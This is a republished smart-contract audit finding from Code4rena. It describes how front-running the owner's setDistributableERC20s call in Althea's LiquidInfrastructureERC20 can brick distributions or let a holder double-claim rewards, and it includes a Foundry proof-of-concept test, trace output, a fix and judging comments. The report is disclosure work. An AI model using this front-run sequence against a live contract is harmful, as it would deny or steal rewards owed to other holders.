Skip to content
DoS Audit finding Intermediate

Distribution can be bricked, and double claims by a few holders are possible when owner calls LiquidInfrastructureERC20::setDistributableERC20s

The owner can change the list of distributable tokens at any time, even when a distribution is pending. An attacker can front-run this change to cause a later distribution to revert with an out-of-bounds error, or to double-claim rewards.

nuthan2x Follow with SpicyMeatball, 0x0bserver and 27 others

Originally disclosed on Code4rena

Submitted by nuthan2x, also found by SpicyMeatball, 0x0bserver, AM, agadzhalov, Limbooo, offside0011, DanielArmstrong, aslanbek, jesjupyter, kartik_giri_47538, turvy_fuzz, Krace, CaeraDenoir, JrNet, zhaojohnson, KmanOfficial, pkqs90, imare, max10afternoon, SovaSlava, TheSavageTeddy, d3e4, Meera, atoko, juancito (1, 2), Kirkeelee, ziyou-, csanuragjain, kutugu, and xchen1130

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L222

Impact

Double claim, DOS by bricking distribution, few holders can lose some rewards due to missing validation of distribution timing when owner is calling LiquidInfrastructureERC20::setDistributableERC20s.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

This issue will be impacted the following ways:

When a new token is accepted by any NFT it should be added as a desirable token, or a new managerNFT with a new token, then, LiquidInfrastructureERC20::setDistributableERC20s has to be called to distribute the rewards.

So when the owner calls LiquidInfrastructureERC20::setDistributableERC20s which adds a new token as desired token:

  1. Bricking distribution to holders: Check the POC for proof. When a new token is added, we can expect revert when:

    • The number of desirable tokens length array is increased.
    • An attacker can frontrun and distribute to only one holder, so erc20EntitlementPerUnit is now  changed.
    • Now, the actual owner tx is processed, which increases/decreases the size of distributableERC20s array.
    • But now, distribution is not possible because the Out of Bound revert on the distribution function because distributableERC20s array is changed, but erc20EntitlementPerUnit array size is same before the distributableERC20s array is modified.
            for (uint j = 0; j < distributableERC20s.length; j++) {
                uint256 entitlement = erc20EntitlementPerUnit[j] *  this.balanceOf(recipient);
                if (IERC20(distributableERC20s[j]).transfer(recipient, entitlement)) {
                    receipts[j] = entitlement;
                }
            }
  1. Double claim by a holder: so some holder can DOS by:

    • A last holder of the 10 holders array frontruns this owner tx (setDistributableERC20s) and calls LiquidInfrastructureERC20::distribute with 90% of the holders count as params, so all the rewards of old desirable tokens will be distributed to 9 holders.
    • Now, after the owners action, backruns it to distribute to the last holder, which will also receive new token as rewards.
    • The previous holders can also claim their share in the next distribution round, but the last holder also can claim which makes double claim possible, which takes a cut from all other holders.
  2. If owner calls LiquidInfrastructureERC20::setDistributableERC20s, which removes some tokens, then any token balance in the contract will be lost until the owner re-adds the token, and it can be distributed again.

All the issues can be countered if the LiquidInfrastructureERC20::setDistributableERC20s is validated to make changes happen only after any potential distributions

Proof of Concept

The logs of the POC shows the revert Index out of bounds:

    ├─ [24677] LiquidInfrastructureERC20::distribute(1)
    │   ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 100000000000000000000 [1e20]
    │   ├─ [20123] ERC20::transfer(0x0000000000000000000000000000000000000002, 500000000000000000000 [5e20])
    │   │   ├─ emit Transfer(from: LiquidInfrastructureERC20: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, value: 500000000000000000000 [5e20])
    │   │   └─ ← true
    │   ├─ [624] LiquidInfrastructureERC20::balanceOf(0x0000000000000000000000000000000000000002) [staticcall]
    │   │   └─ ← 100000000000000000000 [1e20]
    │   └─ ← "Index out of bounds"
    └─ ← "Index out of bounds"

First, run forge init --force, then run forge i openzeppelin/[email protected] and modify foundry.toml file into below:

[profile.default]
- src = "contracts"
+ src = "src"
out = "out"
libs = ["lib"]

Then, copy the below POC into test/Test.t.sol and run forge t --mt test_POC -vvvv:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;

import {Test, console2} from "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract AltheaTest is Test {
    function setUp() public {}

    function test_POC() public {
        // setup
        LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("LP");
        address[] memory newErc20s = new address[](1);
        uint256[] memory newAmounts = new uint[](1);
       
        ERC20 DAI = new ERC20("DAI", "DAI");
        ERC20 USDC = new ERC20("USDC", "USDC");

        string memory _name = "LP";
        string memory _symbol = "LP";
        uint256 _minDistributionPeriod = 5;
        address[] memory _managedNFTs = new address[](1);
        address[] memory _approvedHolders = new address[](2);
        address[] memory _distributableErc20s = new address[](1);

        _managedNFTs[0] = address(nft);
        _approvedHolders[0] = address(1);
        _approvedHolders[1] = address(2);
        _distributableErc20s[0] = address(DAI);

        newErc20s[0] = address(DAI);
        nft.setThresholds(newErc20s, newAmounts);
        LiquidInfrastructureERC20 erc = new  LiquidInfrastructureERC20(
            _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);
        erc.mint(address(1), 100e18);
        erc.mint(address(2), 100e18);

        // issue ==  change in desirable erc20s
        _distributableErc20s = new address[](2);
        _distributableErc20s[0] = address(DAI);
        _distributableErc20s[1] = address(USDC);
        newAmounts = new uint[](2);
        newErc20s = new address[](2);
        newErc20s[0] = address(DAI);
        newErc20s[1] = address(USDC);
        nft.setThresholds(newErc20s, newAmounts);

        deal(address(DAI), address(erc), 1000e18);
        deal(address(USDC), address(erc), 1000e18);
        vm.roll(block.number + 100);

        // frontrun tx
        erc.distribute(1);

        // victim tx
        erc.setDistributableERC20s(_distributableErc20s);

        // backrun tx
        vm.roll(block.number + _minDistributionPeriod);
        vm.expectRevert(); // Index out of bounds
        erc.distribute(1);
    }

}

Tools Used

Foundry testing

Recommended Mitigation Steps

Modify LiquidInfrastructureERC20::setDistributableERC20s to only change the desirable tokens after a potential distribution for fair reward sharing.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
+       require(!_isPastMinDistributionPeriod(), "set only just after distribution");
        distributableERC20s = _distributableERC20s;
    }

Assessed type

DoS

ChristianBorst (Althea) confirmed via duplicate issue #260

0xA5DF (judge) decreased severity to Medium and commented:

Changing to medium since setDistributableERC20s() is a function rarely called. This would only be relevant if we’re after minimum distribution period has passed since the last distribution.

MrPotatoMagic (warden) commented:

@0xA5DF - I think this issue should be invalid.

This issue arises solely due to owner misbehaviour/error, which is a centralization risk and should be included in analysis reports. Changing the configuration of distributable ERC20 tokens in the middle of the distribution period is the owner’s fault and not expected behaviour.

0xA5DF (judge) commented:

The submission talks about a scenario where the owner sent out the tx when there was no distribution going on and a malicious actor front runs it. This is a likely scenario and isn’t due to an error on the admin side (the admin can prevent this by running distribution first, but there’s no way for the average admin to guess that running this tx without distributing first would cause any issues). Therefore, I’m maintaining medium severity.


The original report as published on Code4rena, by nuthan2x. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the setDistributableERC20s function does not check whether a distribution is currently possible, so changing the token list can desynchronise the stored per-unit entitlements from the new token list.

Impact

Distribution can be permanently bricked, causing a denial of service, and a holder can double-claim rewards, taking a cut from others; the judge noted the function is rarely called and reduced severity to medium.

What the attacker needed

Owner calls setDistributableERC20s; attacker can front-run the owner's transaction; minimum distribution period has passed

How it was found

  1. Deploy the contract with one distributable token and two approved holders.
  2. Mint tokens to both holders and fund the contract with the old and a new token.
  3. Advance the block number past the minimum distribution period.
  4. Call distribute with a subset of holders to update entitlements.
  5. Call setDistributableERC20s to add the new token.
  6. Advance the block number again and call distribute, which reverts with an index out of bounds error.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract lets the owner update which tokens are paid out as rewards. If the owner does this while some rewards are still unclaimed, the contract's internal accounting gets out of sync. An attacker can then trigger a failure that stops all payouts, or manipulate the timing to claim more than their fair share.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by nuthan2x

View all

2 more disclosed reports, best first.

More from Althea Liquid Infrastructure

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.